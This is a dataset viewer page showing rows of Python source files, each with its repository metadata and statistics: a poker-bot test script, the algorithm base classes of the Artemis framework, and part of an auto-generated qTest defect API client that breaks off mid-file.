xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

7947205d7b124abc0236cf35ac8f0d0f3f4d2756

5,950

py

Python

test.py

czella/poker-player-theempiredidnothingwrong

fd064967b9ff37c81a22cb22e72ff086a752e158

[ "MIT" ]

null

test.py

czella/poker-player-theempiredidnothingwrong

fd064967b9ff37c81a22cb22e72ff086a752e158

[ "MIT" ]

null

test.py

czella/poker-player-theempiredidnothingwrong

fd064967b9ff37c81a22cb22e72ff086a752e158

[ "MIT" ]

null

import player import json testJSon_one_high = json.loads("""{"community_cards": [], "minimum_raise": 2, "big_blind": 4, "orbits": 0, "in_action": 3, "bet_index": 2, "current_buy_in": 4, "round": 0, "players": [{"id": 0, "bet": 0, "version": "Pony 1.0.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Bright Pony"}, {"id": 1, "bet": 2, "version": "1.0", "time_used": 0, "stack": 998, "status": "active", "name": "PokerMasters"}, {"id": 2, "bet": 4, "version": "ERROR: Unreachable", "time_used": 0, "stack": 996, "status": "active", "name": "NADagascar"}, {"hole_cards": [{"suit": "hearts", "rank": "4"}, {"suit": "diamonds", "rank": "Q"}], "bet": 0, "version": "DS.1.0.0", "time_used": 0, "id": 3, "stack": 1000, "status": "active", "name": "TheEmpireDidNothingWrong"}, {"id": 4, "bet": 0, "version": "1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Hive"}, {"id": 5, "bet": 0, "version": "Gopnik_FM_ver_1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Gopnik FM"}], "small_blind": 2, "game_id": "5c5d4b96a972e80004000021", "dealer": 0, "pot": 6, "tournament_id": "5c38a553b0fea40004000003"} """) testJSon_two_high = json.loads("""{"community_cards": [], "minimum_raise": 2, "big_blind": 4, "orbits": 0, "in_action": 3, "bet_index": 2, "current_buy_in": 4, "round": 0, "players": [{"id": 0, "bet": 0, "version": "Pony 1.0.0", "time_used": 0, "stack": 1000, "status": "out", "name": "Bright Pony"}, {"id": 1, "bet": 2, "version": "1.0", "time_used": 0, "stack": 998, "status": "active", "name": "PokerMasters"}, {"id": 2, "bet": 4, "version": "ERROR: Unreachable", "time_used": 0, "stack": 996, "status": "active", "name": "NADagascar"}, {"hole_cards": [{"suit": "hearts", "rank": "J"}, {"suit": "diamonds", "rank": "Q"}], "bet": 0, "version": "DS.1.0.0", "time_used": 0, "id": 3, "stack": 1000, "status": "active", "name": "TheEmpireDidNothingWrong"}, {"id": 4, "bet": 0, "version": "1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Hive"}, {"id": 5, "bet": 0, "version": "Gopnik_FM_ver_1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Gopnik FM"}], "small_blind": 2, "game_id": "5c5d4b96a972e80004000021", "dealer": 0, "pot": 6, "tournament_id": "5c38a553b0fea40004000003"} """) testJSon_three_out_one_high = json.loads("""{"community_cards": [], "minimum_raise": 2, "big_blind": 4, "orbits": 0, "in_action": 3, "bet_index": 2, "current_buy_in": 4, "round": 0, "players": [{"id": 0, "bet": 0, "version": "Pony 1.0.0", "time_used": 0, "stack": 1000, "status": "out", "name": "Bright Pony"}, {"id": 1, "bet": 2, "version": "1.0", "time_used": 0, "stack": 998, "status": "out", "name": "PokerMasters"}, {"id": 2, "bet": 4, "version": "ERROR: Unreachable", "time_used": 0, "stack": 996, "status": "out", "name": "NADagascar"}, {"hole_cards": [{"suit": "hearts", "rank": "2"}, {"suit": "diamonds", "rank": "Q"}], "bet": 0, "version": "DS.1.0.0", "time_used": 0, "id": 3, "stack": 1000, "status": "active", "name": "TheEmpireDidNothingWrong"}, {"id": 4, "bet": 0, "version": "1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Hive"}, {"id": 5, "bet": 0, "version": "Gopnik_FM_ver_1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Gopnik FM"}], "small_blind": 2, "game_id": "5c5d4b96a972e80004000021", "dealer": 0, "pot": 6, "tournament_id": "5c38a553b0fea40004000003"} """) testJSon_three_out_two_high = json.loads("""{"community_cards": [], "minimum_raise": 2, "big_blind": 4, "orbits": 0, "in_action": 3, "bet_index": 2, "current_buy_in": 4, "round": 0, "players": [{"id": 0, "bet": 0, "version": "Pony 1.0.0", "time_used": 0, "stack": 1000, "status": "out", "name": "Bright Pony"}, {"id": 1, "bet": 2, "version": "1.0", "time_used": 0, "stack": 998, "status": "out", "name": "PokerMasters"}, {"id": 2, "bet": 4, "version": "ERROR: Unreachable", "time_used": 0, "stack": 996, "status": "out", "name": "NADagascar"}, {"hole_cards": [{"suit": "hearts", "rank": "Q"}, {"suit": "diamonds", "rank": "Q"}], "bet": 0, "version": "DS.1.0.0", "time_used": 0, "id": 3, "stack": 1000, "status": "active", "name": "TheEmpireDidNothingWrong"}, {"id": 4, "bet": 0, "version": "1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Hive"}, {"id": 5, "bet": 0, "version": "Gopnik_FM_ver_1.0", "time_used": 0, "stack": 1000, "status": "active", "name": "Gopnik FM"}], "small_blind": 2, "game_id": "5c5d4b96a972e80004000021", "dealer": 0, "pot": 6, "tournament_id": "5c38a553b0fea40004000003"} """) if __name__ == "__main__": player = player.Player() print(player.betRequest(testJSon_one_high)) print(player.betRequest(testJSon_two_high)) print(player.betRequest(testJSon_three_out_one_high)) print(player.betRequest(testJSon_three_out_two_high))

39.666667

138

0.482857

666

5,950

4.145646

0.10961

0.06954

0.078233

0.072438

0.965954

0.963419

0.949294

0.919594

0.917421

0

0.09409

0.289076

5,950

149

139

39.932886

0.558629

0

0.881944

0

0.111111

0.921513

0.055126

0

1

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false

0

0.013889

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null

0

1

0

1

0

1

0

null

0

8

795b548761b1c07cb92bc8835aaaa00ac9a7d887

12,529

py

Python

artemis/core/algo.py

artemis-analytics/artemis

3e1eebdd4628145ee7d8923567b5e6f53a2e5244

[ "Apache-2.0" ]

4

2020-02-29T15:02:05.000Z

2021-05-13T18:50:58.000Z

artemis/core/algo.py

artemis-analytics/artemis

3e1eebdd4628145ee7d8923567b5e6f53a2e5244

[ "Apache-2.0" ]

25

2020-02-25T19:29:21.000Z

2020-04-03T15:06:59.000Z

artemis/core/algo.py

ryanmwhitephd/artemis

3e1eebdd4628145ee7d8923567b5e6f53a2e5244

[ "Apache-2.0" ]

2

2021-08-12T09:40:51.000Z

2021-08-12T09:42:09.000Z

#! /usr/bin/env python # -*- coding: utf-8 -*- # vim:fenc=utf-8 # # Copyright © Her Majesty the Queen in Right of Canada, as represented # by the Minister of Statistics Canada, 2019. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Algorithms """ from collections import OrderedDict import importlib from pprint import pformat from artemis.logger import Logger from artemis.core.abcalgo import AbcAlgoBase from artemis.core.properties import Properties from artemis.core.gate import ArtemisGateSvc from artemis.io.protobuf.configuration_pb2 import Module as Algo_pb from artemis.core.gate import IOMetaMixin, MetaMixin # TODO Create an interface class to AlgoBase to expose the run, # finalize methods to framework # Interface IAlgoBase class to expose the methods to the framework # (apparently, I should not write a framework, see Fluent Python ... # I am bored but probably getting paid) # Concrete implementation of interface with AlgoBase # Concrete base class provides the mixins or other ABCs # Likely we want to provide the Job class instance to retrieve # job.histbook # job.timers # job.objectstore # Inherited classes for user-defined methods MyAlgo class AlgoBase(MetaMixin, metaclass=AbcAlgoBase): def __init__(self, name, **kwargs): """ Access the Base logger directly through self.__logger Derived class use the classmethods for info, debug, warn, error All formatting, loglevel checks, etc... can be done through the classmethods Can we use staticmethods in artemis to make uniform formatting of info, debug, warn, error? """ # Configure logging Logger.configure(self, **kwargs) self.__logger.debug("__init__ AlgoBase") # name will be mangled to _AlgoBase__name self.__name = name self.properties = Properties() for key in kwargs: self.properties.add_property(key, kwargs[key]) self.gate = ArtemisGateSvc() def __init_subclass__(cls, **kwargs): """ See PEP 487 Essentially acts as a class method decorator """ super().__init_subclass__(**kwargs) @property def name(self): """ Algorithm name """ return self.__name @staticmethod def load(logger, **kwargs): """ Returns the class instance from a dictionary """ logger.info("Loading Algo %s" % kwargs["name"]) try: module = importlib.import_module(kwargs["module"]) except ImportError: logger.error("Unable to load module %s" % kwargs["module"]) raise except Exception as e: logger.error("Unknow error loading module: %s" % e) raise try: class_ = getattr(module, kwargs["class"]) except AttributeError: logger.error("%s: missing attribute %s" % (kwargs["name"], kwargs["class"])) raise except Exception as e: logger.error("Reason: %s" % e) raise logger.debug(pformat(kwargs["properties"])) # Update the logging level of # algorithms if loglevel not set # Ensures user-defined algos get the artemis level logging if "loglevel" not in kwargs["properties"]: kwargs["properties"]["loglevel"] = logger.getEffectiveLevel() try: instance = class_(kwargs["name"], **kwargs["properties"]) except AttributeError: logger.error("%s: missing attribute %s" % (kwargs["name"], "properties")) raise except Exception as e: logger.error("%s: Cannot initialize %s" % e) raise return instance def to_dict(self): """ Create json-serialize class to create the algorithm from all properties name - instance name as found in menu module - where the class algo resides class - concrete class name properties - all the user-defined properties """ _dict = OrderedDict() _dict["name"] = self.name _dict["class"] = self.__class__.__name__ _dict["module"] = self.__module__ _dict["properties"] = self.properties.to_dict() return _dict def to_msg(self): message = Algo_pb() message.name = self.name message.klass = self.__class__.__name__ message.module = self.__module__ message.properties.CopyFrom(self.properties.to_msg()) return message @staticmethod def from_msg(logger, msg): logger.info("Loading Algo from msg %s", msg.name) try: module = importlib.import_module(msg.module) except ImportError: logger.error("Unable to load module %s", msg.module) raise except Exception as e: logger.error("Unknow error loading module: %s" % e) raise try: class_ = getattr(module, msg.klass) except AttributeError: logger.error("%s: missing attribute %s" % (msg.name, msg.klass)) raise except Exception as e: logger.error("Reason: %s" % e) raise properties = Properties.from_msg(msg.properties) logger.debug(pformat(properties)) # Update the logging level of # algorithms if loglevel not set # Ensures user-defined algos get the artemis level logging if "loglevel" not in properties: properties["loglevel"] = logger.getEffectiveLevel() try: instance = class_(msg.name, **properties) except AttributeError: logger.error("%s: missing attribute %s" % (msg.name, "properties")) raise except Exception as e: logger.error("%s: Cannot initialize %s" % e) raise return instance def lock(self): """ Lock all properties for algorithm """ self.properties.lock = True def initialize(self): """ Framework initialize """ raise NotImplementedError def book(self): """ Book histograms """ raise NotImplementedError def rebook(self): """ Rebook with new binnings """ raise NotImplementedError def execute(self, payload): """ Algo always accepts the output Node on a graph Data is accessed via the Parent.payload """ raise NotImplementedError def finalize(self): """ report timings, counters, etc.. """ raise NotImplementedError class IOAlgoBase(MetaMixin, IOMetaMixin, metaclass=AbcAlgoBase): def __init__(self, name, **kwargs): """ Access the Base logger directly through self.__logger Derived class use the classmethods for info, debug, warn, error All formatting, loglevel checks, etc... can be done through the classmethods Can we use staticmethods in artemis to make uniform formatting of info, debug, warn, error? """ # Configure logging Logger.configure(self, **kwargs) self.__logger.debug("__init__ AlgoBase") # name will be mangled to _AlgoBase__name self.__name = name self.properties = Properties() for key in kwargs: self.properties.add_property(key, kwargs[key]) self.gate = ArtemisGateSvc() @property def name(self): """ Algorithm name """ return self.__name @staticmethod def load(logger, **kwargs): """ Returns the class instance from a dictionary """ logger.info("Loading Algo %s" % kwargs["name"]) try: module = importlib.import_module(kwargs["module"]) except ImportError: logger.error("Unable to load module %s" % kwargs["module"]) raise except Exception as e: logger.error("Unknow error loading module: %s" % e) raise try: class_ = getattr(module, kwargs["class"]) except AttributeError: logger.error("%s: missing attribute %s" % (kwargs["name"], kwargs["class"])) raise except Exception as e: logger.error("Reason: %s" % e) raise logger.debug(pformat(kwargs["properties"])) # Update the logging level of # algorithms if loglevel not set # Ensures user-defined algos get the artemis level logging if "loglevel" not in kwargs["properties"]: kwargs["properties"]["loglevel"] = logger.getEffectiveLevel() try: instance = class_(kwargs["name"], **kwargs["properties"]) except AttributeError: logger.error("%s: missing attribute %s" % (kwargs["name"], "properties")) raise except Exception as e: logger.error("%s: Cannot initialize %s" % e) raise return instance def to_dict(self): """ Create json-serialize class to create the algorithm from all properties name - instance name as found in menu module - where the class algo resides class - concrete class name properties - all the user-defined properties """ _dict = OrderedDict() _dict["name"] = self.name _dict["class"] = self.__class__.__name__ _dict["module"] = self.__module__ _dict["properties"] = self.properties.to_dict() return _dict def to_msg(self): message = Algo_pb() message.name = self.name message.klass = self.__class__.__name__ message.module = self.__module__ message.properties.CopyFrom(self.properties.to_msg()) return message @staticmethod def from_msg(logger, msg): logger.info("Loading Algo from msg %s", msg.name) try: module = importlib.import_module(msg.module) except ImportError: logger.error("Unable to load module %s", msg.module) raise except Exception as e: logger.error("Unknow error loading module: %s" % e) raise try: class_ = getattr(module, msg.klass) except AttributeError: logger.error("%s: missing attribute %s" % (msg.name, msg.klass)) raise except Exception as e: logger.error("Reason: %s" % e) raise properties = Properties.from_msg(msg.properties) logger.debug(pformat(properties)) # Update the logging level of # algorithms if loglevel not set # Ensures user-defined algos get the artemis level logging if "loglevel" not in properties: properties["loglevel"] = logger.getEffectiveLevel() try: instance = class_(msg.name, **properties) except AttributeError: logger.error("%s: missing attribute %s" % (msg.name, "properties")) raise except Exception as e: logger.error("%s: Cannot initialize %s" % e) raise return instance def lock(self): """ Lock all properties for algorithm """ self.properties.lock = True def initialize(self): """ Framework initialize """ raise NotImplementedError def book(self): """ Book histograms """ raise NotImplementedError def rebook(self): """ Rebook with new binnings """ raise NotImplementedError def execute(self, payload): """ Algo always accepts the output Node on a graph Data is accessed via the Parent.payload """ raise NotImplementedError def finalize(self): """ report timings, counters, etc.. """ raise NotImplementedError

30.708333

88

0.600447

1,371

12,529

5.387309

0.185266

0.035743

0.032494

0.035743

0.810181

0.803412

0

0.001618

0.309522

12,529

407

89

30.783784

0.85204

0.273685

0

0.938967

0

0.115973

0

0.002457

0

1

0.117371

false

0

0.079812

0

0.253521

0.004695

0

null

0

1

0

1

0

null

0

7

796417e97d6a7fa72201c1a8d5b68b358c909421

51,082

py

Python

swagger_client/apis/defect_api.py

rcbops/qtest-swagger-client

28220aa95d878922ca4b35c325706932adabea4e

[ "Apache-2.0" ]

1

2019-09-10T17:55:53.000Z

swagger_client/apis/defect_api.py

rcbops/qtest-swagger-client

28220aa95d878922ca4b35c325706932adabea4e

[ "Apache-2.0" ]

null

swagger_client/apis/defect_api.py

rcbops/qtest-swagger-client

28220aa95d878922ca4b35c325706932adabea4e

[ "Apache-2.0" ]

2

2019-02-12T23:15:10.000Z

2022-03-11T20:08:28.000Z

# coding: utf-8 """ qTest Manager API Version 8.6 - 9.1 qTest Manager API Version 8.6 - 9.1 OpenAPI spec version: 8.6 - 9.1 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import sys import os import re # python 2 and python 3 compatibility library from six import iteritems from ..configuration import Configuration from ..api_client import ApiClient class DefectApi(object): """ NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): config = Configuration() if api_client: self.api_client = api_client else: if not config.api_client: config.api_client = ApiClient() self.api_client = config.api_client def add_comment(self, project_id, id_or_key, body, **kwargs): """ Adds a Comment to a Defect To add a Comment to a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.add_comment(project_id, id_or_key, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect (required) :param CommentResource body: The Comment's content (required) :return: CommentResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.add_comment_with_http_info(project_id, id_or_key, body, **kwargs) else: (data) = self.add_comment_with_http_info(project_id, id_or_key, body, **kwargs) return data def add_comment_with_http_info(self, project_id, id_or_key, body, **kwargs): """ Adds a Comment to a Defect To add a Comment to a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.add_comment_with_http_info(project_id, id_or_key, body, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect (required) :param CommentResource body: The Comment's content (required) :return: CommentResource If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'id_or_key', 'body'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method add_comment" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `add_comment`") # verify the required parameter 'id_or_key' is set if ('id_or_key' not in params) or (params['id_or_key'] is None): raise ValueError("Missing the required parameter `id_or_key` when calling `add_comment`") # verify the required parameter 'body' is set if ('body' not in params) or (params['body'] is None): raise ValueError("Missing the required parameter `body` when calling `add_comment`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/{idOrKey}/comments'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] if 'id_or_key' in params: path_params['idOrKey'] = params['id_or_key'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None if 'body' in params: body_params = params['body'] # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='CommentResource', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_comment(self, project_id, id_or_key, comment_id, **kwargs): """ Deletes a Comment of a Defect To delete a specific Comment of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_comment(project_id, id_or_key, comment_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect whose Comment you want to delete (required) :param int comment_id: ID of the comment. (required) :return: object If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.delete_comment_with_http_info(project_id, id_or_key, comment_id, **kwargs) else: (data) = self.delete_comment_with_http_info(project_id, id_or_key, comment_id, **kwargs) return data def delete_comment_with_http_info(self, project_id, id_or_key, comment_id, **kwargs): """ Deletes a Comment of a Defect To delete a specific Comment of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.delete_comment_with_http_info(project_id, id_or_key, comment_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect whose Comment you want to delete (required) :param int comment_id: ID of the comment. (required) :return: object If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'id_or_key', 'comment_id'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_comment" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `delete_comment`") # verify the required parameter 'id_or_key' is set if ('id_or_key' not in params) or (params['id_or_key'] is None): raise ValueError("Missing the required parameter `id_or_key` when calling `delete_comment`") # verify the required parameter 'comment_id' is set if ('comment_id' not in params) or (params['comment_id'] is None): raise ValueError("Missing the required parameter `comment_id` when calling `delete_comment`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/{idOrKey}/comments/{commentId}'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] if 'id_or_key' in params: path_params['idOrKey'] = params['id_or_key'] if 'comment_id' in params: path_params['commentId'] = params['comment_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='object', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_comment(self, project_id, id_or_key, comment_id, **kwargs): """ Gets a Comment of a Defect To retrieve a specific Comment of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_comment(project_id, id_or_key, comment_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect whose comment you want to retrieve (required) :param int comment_id: ID of the comment (required) :return: CommentResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_comment_with_http_info(project_id, id_or_key, comment_id, **kwargs) else: (data) = self.get_comment_with_http_info(project_id, id_or_key, comment_id, **kwargs) return data def get_comment_with_http_info(self, project_id, id_or_key, comment_id, **kwargs): """ Gets a Comment of a Defect To retrieve a specific Comment of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_comment_with_http_info(project_id, id_or_key, comment_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect whose comment you want to retrieve (required) :param int comment_id: ID of the comment (required) :return: CommentResource If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'id_or_key', 'comment_id'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_comment" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `get_comment`") # verify the required parameter 'id_or_key' is set if ('id_or_key' not in params) or (params['id_or_key'] is None): raise ValueError("Missing the required parameter `id_or_key` when calling `get_comment`") # verify the required parameter 'comment_id' is set if ('comment_id' not in params) or (params['comment_id'] is None): raise ValueError("Missing the required parameter `comment_id` when calling `get_comment`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/{idOrKey}/comments/{commentId}'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] if 'id_or_key' in params: path_params['idOrKey'] = params['id_or_key'] if 'comment_id' in params: path_params['commentId'] = params['comment_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='CommentResource', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_comments(self, project_id, id_or_key, **kwargs): """ Gets all Comments of a Defect To retrieve all Comments of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_comments(project_id, id_or_key, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect whose comments you want to retrieve (required) :param int page: By default the first page is returned but you can specify any page number to retrieve objects :param int page_size: The result is paginated. By the default, the number of objects in each page is 100 if this is omitted. You can specify your custom number (up to 999) in this parameter :return: PagedResourceCommentResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_comments_with_http_info(project_id, id_or_key, **kwargs) else: (data) = self.get_comments_with_http_info(project_id, id_or_key, **kwargs) return data def get_comments_with_http_info(self, project_id, id_or_key, **kwargs): """ Gets all Comments of a Defect To retrieve all Comments of a Defect qTest Manager version: 7.5+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_comments_with_http_info(project_id, id_or_key, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str id_or_key: PID or ID of the Defect whose comments you want to retrieve (required) :param int page: By default the first page is returned but you can specify any page number to retrieve objects :param int page_size: The result is paginated. By the default, the number of objects in each page is 100 if this is omitted. You can specify your custom number (up to 999) in this parameter :return: PagedResourceCommentResource If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'id_or_key', 'page', 'page_size'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_comments" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `get_comments`") # verify the required parameter 'id_or_key' is set if ('id_or_key' not in params) or (params['id_or_key'] is None): raise ValueError("Missing the required parameter `id_or_key` when calling `get_comments`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/{idOrKey}/comments'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] if 'id_or_key' in params: path_params['idOrKey'] = params['id_or_key'] query_params = {} if 'page' in params: query_params['page'] = params['page'] if 'page_size' in params: query_params['pageSize'] = params['page_size'] header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='PagedResourceCommentResource', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_defect(self, project_id, defect_id, **kwargs): """ Gets a Defect To retrieve a Defect qTest Manager version: 6+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_defect(project_id, defect_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str defect_id: ID of the defect. (required) :return: DefectResource If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('callback'): return self.get_defect_with_http_info(project_id, defect_id, **kwargs) else: (data) = self.get_defect_with_http_info(project_id, defect_id, **kwargs) return data def get_defect_with_http_info(self, project_id, defect_id, **kwargs): """ Gets a Defect To retrieve a Defect qTest Manager version: 6+ This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_defect_with_http_info(project_id, defect_id, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str defect_id: ID of the defect. (required) :return: DefectResource If the method is called asynchronously, returns the request thread. """ all_params = ['project_id', 'defect_id'] all_params.append('callback') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method get_defect" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'project_id' is set if ('project_id' not in params) or (params['project_id'] is None): raise ValueError("Missing the required parameter `project_id` when calling `get_defect`") # verify the required parameter 'defect_id' is set if ('defect_id' not in params) or (params['defect_id'] is None): raise ValueError("Missing the required parameter `defect_id` when calling `get_defect`") collection_formats = {} resource_path = '/api/v3/projects/{projectId}/defects/{defectId}'.replace('{format}', 'json') path_params = {} if 'project_id' in params: path_params['projectId'] = params['project_id'] if 'defect_id' in params: path_params['defectId'] = params['defect_id'] query_params = {} header_params = {} form_params = [] local_var_files = {} body_params = None # Authentication setting auth_settings = ['Authorization'] return self.api_client.call_api(resource_path, 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='DefectResource', auth_settings=auth_settings, callback=params.get('callback'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def get_last_changed(self, project_id, start_time, **kwargs): """ Gets recently updated Defects To retrieve Defects which have been recently updated after a specified time This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please define a `callback` function to be invoked when receiving the response. >>> def callback_function(response): >>> pprint(response) >>> >>> thread = api.get_last_changed(project_id, start_time, callback=callback_function) :param callback function: The callback function for asynchronous request. (optional) :param int project_id: ID of the project (required) :param str start_time: The specified time since when the Defects have been updated. It needs to be URL encoded: yyyy-MM-dd'T'HH:mm:ss.SSSZ or yyyy-MM-dd'T'HH:mm:ssZZ (required) :param str end_time: Do not support at this time. Use the current time only. :param int size: 